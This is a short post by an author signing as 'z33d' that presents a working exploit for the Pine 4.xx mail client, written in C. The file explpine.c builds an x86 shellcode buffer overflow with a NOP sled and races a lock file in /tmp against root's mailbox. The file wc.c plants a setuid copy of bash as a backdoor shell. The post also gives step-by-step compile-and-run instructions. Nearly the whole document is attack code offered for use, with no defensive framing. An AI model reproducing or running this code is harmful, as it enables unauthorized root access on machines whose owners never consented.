Pine 4.xx exploit

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Hi ...
I wrote exploit on Pine 4.xx , but perhaps it doesn't work well on some
computer ... - you must use gdb and practice on non-root user ...
Put wc.c in /tmp and compile : gcc wc.c -o wc next you must compile
explpine.c (-o explpine or change in wc.c [ killall -9 explpine ] )
run this ...
Send some mail to -luser- and wait wait wait ...


-------------------------- explpine.c ----------------------------------------

/* UNOFFICIAL exploit for Pine 4.xx                                       */
/* Ripped from two txts ... lcamtuf's and Aleph1's :-)                    */
/* by z33d -- z33dat_private                                        */
/* if this doesn't work ,you will try with GDB-the best debugger ;-)      */
/* because we don't know where will be this bufor in memory :-(           */
/* I tested on RH 5.1 ( :-] )                                             */
/* oh and you must first send some mail to -luser-                        */

#include <sys/file.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

#define DEFAULT_DISTANCE 0xe98	
#define DEFAULT_BUFFER_SIZE            600
#define DEFAULT_EGG_SIZE               576  /* for lame: mod 4 = 0 !!!!!!!!! */
#define NOP                            0x90
#define LUSER "root"

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/tmp/wc";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg , *bufor;
  long *addr_ptr, addr;
  int bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;
  int a=0;
  char s[100];
  struct stat x;


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(bufor = malloc(bsize+eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
  }

  addr = get_sp() - DEFAULT_DISTANCE;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
  for (i = 0; i < eggsize ; i++)
  bufor[i] = egg[i];
  for (i=eggsize; i < eggsize+bsize+1 ; i++)
  bufor[i] = buff[i-eggsize];

  sprintf(s,"/var/spool/mail/%s",LUSER);
  if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));
  sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);
  fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);
  while (1) {
    lseek(i,0,0);
    write(i,bufor,bsize+eggsize);
    ftruncate(i,bsize+eggsize);
    fsync(i);
    printf("Tieeeee %x\n",addr+DEFAULT_DISTANCE);
    if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);
      else printf("File %s already locked, wait...\n",s);
    sleep(1);
  }
}
--------------end of explpine.c----------------------------------------

wc.c is a script which will be run by -luser-'s pine ...

--------------wc.c------------------------

#include <stdio.h>
#define LUSER "z33d"
void main()
{
  system("cp /bin/bash /tmp/mc666");
  system("chgrp "LUSER" /tmp/mc666");
  system("chmod +s /tmp/mc666");
  system("/usr/bin/killall -9 explpine");
  putenv("TERM=linux");
  execl("/usr/bin/pine","pine",0);
}

-------------end of wc.c--------------------

That's all ....

Sayonara +

*******************************************************************************

Z 33d email : z33dat_private www : z33d.lighting.ml.org or
www.kki.net.pl/~phoneeat

Jesli nie istnieje racjonalna strategia optymalna , optymalna strategia
jest strategia losowa ...
                              - unknown -

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